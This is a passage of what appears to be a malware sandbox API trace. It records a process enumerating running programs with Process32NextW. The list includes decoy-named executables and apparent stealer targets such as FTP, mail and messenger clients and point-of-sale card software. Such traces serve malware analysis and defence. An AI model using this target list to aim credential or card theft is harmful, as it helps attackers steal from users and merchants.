returned 1 [0078.752] lstrlenW (lpString="services.exe") returned 12 [0078.752] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0078.752] lstrlenW (lpString="lsass.exe") returned 9 [0078.752] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0078.753] lstrlenW (lpString="lsm.exe") returned 7 [0078.753] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.753] lstrlenW (lpString="svchost.exe") returned 11 [0078.753] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.753] lstrlenW (lpString="svchost.exe") returned 11 [0078.753] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.754] lstrlenW (lpString="svchost.exe") returned 11 [0078.754] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.754] lstrlenW (lpString="svchost.exe") returned 11 [0078.754] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.754] lstrlenW (lpString="svchost.exe") returned 11 [0078.754] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0078.755] lstrlenW (lpString="audiodg.exe") returned 11 [0078.755] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.755] lstrlenW (lpString="svchost.exe") returned 11 [0078.755] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.755] lstrlenW (lpString="svchost.exe") returned 11 [0078.755] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0078.756] lstrlenW (lpString="dwm.exe") returned 7 [0078.756] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.756] lstrlenW (lpString="explorer.exe") returned 12 [0078.756] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0078.756] lstrlenW (lpString="spoolsv.exe") returned 11 [0078.756] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.757] lstrlenW (lpString="svchost.exe") returned 11 [0078.757] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.757] lstrlenW (lpString="taskhost.exe") returned 12 [0078.757] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0078.757] lstrlenW (lpString="taskeng.exe") returned 11 [0078.757] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0078.758] lstrlenW (lpString="communist_nick.exe") returned 18 [0078.758] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0078.758] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0078.758] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0078.758] lstrlenW (lpString="prize.exe") returned 9 [0078.758] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0078.759] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0078.759] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0078.759] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0078.759] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0078.759] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0078.759] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0078.760] lstrlenW (lpString="prospects.exe") returned 13 [0078.760] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0078.760] lstrlenW (lpString="signalpackard.exe") returned 17 [0078.760] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0078.760] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0078.761] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0078.762] lstrlenW (lpString="release.exe") returned 11 [0078.762] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0078.762] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0078.762] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0078.762] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0078.762] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0078.763] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0078.763] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0078.763] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0078.763] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0078.763] lstrlenW (lpString="stickers_nations.exe") returned 20 [0078.763] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0078.764] lstrlenW (lpString="initiated-scary.exe") returned 19 [0078.764] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0078.764] lstrlenW (lpString="3dftp.exe") returned 9 [0078.764] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0078.764] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0078.764] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0078.765] lstrlenW (lpString="alftp.exe") returned 9 [0078.765] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0078.765] lstrlenW (lpString="barca.exe") returned 9 [0078.765] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0078.765] lstrlenW (lpString="bitkinex.exe") returned 12 [0078.767] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0078.767] lstrlenW (lpString="coreftp.exe") returned 11 [0078.767] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0078.768] lstrlenW (lpString="far.exe") returned 7 [0078.768] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0078.768] lstrlenW (lpString="filezilla.exe") returned 13 [0078.768] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0078.768] lstrlenW (lpString="flashfxp.exe") returned 12 [0078.768] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0078.769] lstrlenW (lpString="fling.exe") returned 9 [0078.769] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0078.769] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0078.769] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0078.769] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0078.769] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0078.888] lstrlenW (lpString="icq.exe") returned 7 [0078.889] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0078.889] lstrlenW (lpString="leechftp.exe") returned 12 [0078.889] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0078.889] lstrlenW (lpString="ncftp.exe") returned 9 [0078.890] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0078.890] lstrlenW (lpString="notepad.exe") returned 11 [0078.890] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0078.890] lstrlenW (lpString="operamail.exe") returned 13 [0078.890] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0078.891] lstrlenW (lpString="pidgin.exe") returned 10 [0078.891] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0078.891] lstrlenW (lpString="scriptftp.exe") returned 13 [0078.891] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0078.892] lstrlenW (lpString="skype.exe") returned 9 [0078.892] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.893] lstrlenW (lpString="smartftp.exe") returned 12 [0078.893] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0078.893] lstrlenW (lpString="thunderbird.exe") returned 15 [0078.893] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.894] lstrlenW (lpString="totalcmd.exe") returned 12 [0078.894] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.894] lstrlenW (lpString="trillian.exe") returned 12 [0078.894] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.895] lstrlenW (lpString="webdrive.exe") returned 12 [0078.895] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.895] lstrlenW (lpString="whatsapp.exe") returned 12 [0078.895] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.896] lstrlenW (lpString="winscp.exe") returned 10 [0078.896] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.896] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0078.896] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.897] lstrlenW (lpString="active-charge.exe") returned 17 [0078.897] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.898] lstrlenW (lpString="accupos.exe") returned 11 [0078.898] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.898] lstrlenW (lpString="afr38.exe") returned 9 [0078.898] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.899] lstrlenW (lpString="aldelo.exe") returned 10 [0078.899] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.899] lstrlenW (lpString="ccv_server.exe") returned 14 [0078.899] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.900] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0078.900] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.900] lstrlenW (lpString="creditservice.exe") returned 17 [0078.900] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.900] lstrlenW (lpString="edcsvr.exe") returned 10 [0078.901] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.902] lstrlenW (lpString="fpos.exe") returned 8 [0078.902] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.902] lstrlenW (lpString="isspos.exe") returned 10 [0078.902] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.903] lstrlenW (lpString="mxslipstream.exe") returned 16 [0078.903] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: 